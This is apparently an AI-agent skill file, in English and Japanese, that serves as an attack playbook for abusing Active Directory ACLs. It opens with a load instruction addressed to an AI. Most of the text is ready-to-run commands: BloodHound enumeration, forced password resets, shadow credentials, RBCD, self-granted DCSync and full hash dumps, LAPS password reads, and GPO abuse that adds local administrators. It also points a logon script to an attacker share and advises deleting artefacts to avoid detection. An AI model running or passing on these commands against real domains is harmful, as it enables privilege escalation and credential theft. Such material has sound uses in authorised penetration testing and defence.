SKILL: AD ACL Abuse — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert AD ACL abuse techniques. Covers BloodHound enumeration, dangerous ACEs (GenericAll, WriteDACL, WriteOwner, etc.), DCSync, shadow credentials, targeted kerberoasting, group manipulation, LAPS, and GPO abuse. Base models miss complex ACL chain exploitation and Cypher query patterns.

0. RELATED ROUTING

詳しく掘り下げる前に、以下のロードを検討してください:

• active-directory-kerberos-attacks — ACL 濫用と組み合わされることが多い Kerberos 攻撃
• active-directory-certificate-services — ACL 悪用後の証明書ベース攻撃
• ntlm-relay-coercion — ACL 設定が可能なリレー攻撃 (LDAP リレー)
• windows-lateral-movement — AD アクセス昇格後のラテラルムーブ

Advanced Reference

以下が必要な場合は BLOODHOUND_PATHS.md もロードしてください:

• BloodHound 攻撃パスと Cypher クエリ
• 複雑なチェーン検索のための カスタム Neo4j クエリ
• データ収集とインジェスション向けのヒント

---

1. BLOODHOUND ENUMERATION

データ収集

# SharpHound (Windows ドメイン参加マシンから)
SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip

# bloodhound-python (Linux から)
bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP

# 特定の収集方法
SharpHound.exe -c DCOnly          # 最速 — DC クエリのみ
SharpHound.exe -c Session         # セッションデータのみ (定期実行)
SharpHound.exe -c All,GPOLocalGroup  # GPO 分析を含む

主要な BloodHound クエリ (組み込み)

• "Find all Domain Admins"
• "Shortest Paths to Domain Admins from Owned Principals"
• "Find Principals with DCSync Rights"
• "Shortest Paths to Unconstrained Delegation Systems"
• "Find computers where Domain Users are Local Admin"

---

2. 危険な ACE タイプ

ACE	ユーザーへの影響	グループへの影響	コンピュータへの影響
GenericAll	パスワード変更、SPN 設定、属性変更	メンバー追加	RBCD、LAPS 読取、すべての属性
GenericWrite	SPN 設定、属性変更、シャドウ認証情報	メンバー追加	RBCD、シャドウ認証情報
WriteDACL	自分自身に任意の権限を付与	同一	同一
WriteOwner	所有権取得 → WriteDACL	同一	同一
ForceChangePassword	古いパスワードを知らずにリセット	N/A	N/A
AddMember	N/A	グループに自分や他人を追加	N/A
AllExtendedRights	パスワード強制変更、LAPS 読取	N/A	LAPS 読取、BitLocker キー読取
ReadLAPSPassword	N/A	N/A	ローカル管理者パスワード読取
WriteSPN	SPN 設定 → ターゲット Kerberoast	N/A	N/A

---

3. ACE 固有の悪用

ユーザーへの GenericAll

# オプション 1: パスワード強制変更
net user targetuser NewP@ss123 /domain

# オプション 2: ターゲット Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# → Kerberoast してから SPN をクリア

# オプション 3: シャドウ認証情報
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01

# オプション 4: ログオン スクリプト設定
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}

コンピュータへの GenericAll / GenericWrite

# RBCD 攻撃
rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC

# コンピュータへのシャドウ認証情報
pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC

WriteDACL

# DCSync 権限を自分自身に付与
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync

# Impacket
dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC

WriteOwner

# ステップ 1: 所有権取得
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv

# ステップ 2: 所有者として WriteDACL を自分に付与
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All

# ステップ 3: GenericAll として悪用

ForceChangePassword

# Impacket
rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"

# PowerView
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)

# net rpc
net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01

グループへの AddMember

# 特権グループに自分を追加
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv

# Impacket
net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01

---

4. DCSYNC 攻撃

前提条件

プリンシパルがドメイン オブジェクトに対して、以下の 両方 のレプリケーション権限を必要とします:

• DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
• DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

実行

# Impacket — すべてのハッシュをダンプ
secretsdump.py DOMAIN/user:password@DC01 -just-dc

# 特定アカウントのみ
secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.com /user:krbtgt
lsadump::dcsync /domain:domain.com /all /csv

# Kerberos 認証を使用した Impacket
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass DC01.domain.com -just-dc

デフォルトで DCSync 権限を持つ者

• Domain Admins
• Enterprise Admins
• Domain Controllers グループ
• BUILTIN\Administrators (ドメイン オブジェクト上)

---

5. シャドウ認証情報

攻撃フロー

ターゲットの msDS-KeyCredentialLink に書き込み → 証明書生成 → PKINIT で認証。

# pyWhisker (Linux)
pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01
# 出力: DeviceID と PFX ファイル

# 証明書で認証
gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache
export KRB5CCNAME=victim.ccache

# TGT から NT ハッシュを抽出 (パス・ザ・ハッシュ用)
getnthash.py -key AS_REP_KEY domain.com/victim

# Whisker (Windows)
Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com
# → TGT 取得用の Rubeus コマンドを提供
Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt

クリーンアップ: 検出を避けるために、追加したキー認証情報を削除してください。

---

6. LAPS パスワード読取

# PowerView
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime

# AD モジュール
Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd

# LAPS v2 (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText

# CrackMapExec
crackmapexec ldap DC01 -u user -p pass --module laps

---

7. GPO 濫用

書き込み可能な GPO の特定

# PowerView — あなたが書き込みアクセス権を持つ GPO を検索
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and
    ($_.SecurityIdentifier -match 'YOUR_SID')
}

SharpGPOAbuse による悪用

# GPO 経由でローカル管理者を追加
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"

# GPO 経由でスケジュール済みタスクを追加
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"

# スタートアップ スクリプトを追加
SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"

# pyGPOAbuse (Linux)
pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01

---

8. ACL 攻撃決定ツリー

ドメイン ユーザー アクセス権を持っており、ACL 経由で昇格したい
│
├── BloodHound を実行 → DA への最短パスを分析
│   └── データをアップロード → "Shortest Paths to Domain Admins from Owned Principals"
│
├── ユーザー オブジェクトに直接 ACL あり?
│   ├── GenericAll → パスワード強制変更、シャドウ認証情報、またはターゲット Kerberoast (§3)
│   ├── GenericWrite → シャドウ認証情報または SPN 設定 (§3/§5)
│   ├── ForceChangePassword → パスワードを直接リセット (§3)
│   ├── WriteDACL → 自分に GenericAll を付与してから悪用 (§3)
│   └── WriteOwner → 所有権取得 → WriteDACL → GenericAll (§3)
│
├── グループに ACL あり?
│   ├── AddMember / GenericAll → 特権グループに自分を追加 (§3)
│   └── WriteDACL → AddMember を付与してから自分を追加
│
├── コンピュータ オブジェクトに ACL あり?
│   ├── GenericAll/GenericWrite → RBCD 攻撃 (§3)
│   ├── AllExtendedRights → LAPS パスワード読取 (§6)
│   └── GenericWrite → マシンのシャドウ認証情報 (§5)
│
├── ドメイン オブジェクトに ACL あり?
│   ├── WriteDACL → 自分に DCSync 権限を付与 (§4)
│   └── レプリケーション権限は既にあり? → 直接 DCSync (§4)
│
├── 特権 OU にリンクされた GPO に ACL あり?
│   └── 書き込みアクセス → GPO 経由で管理者 / スケジュール済みタスクを追加 (§7)
│
└── 複雑なマルチホップ チェーン?
    └── BLOODHOUND_PATHS.md をロードして Cypher クエリとチェーン分析を参照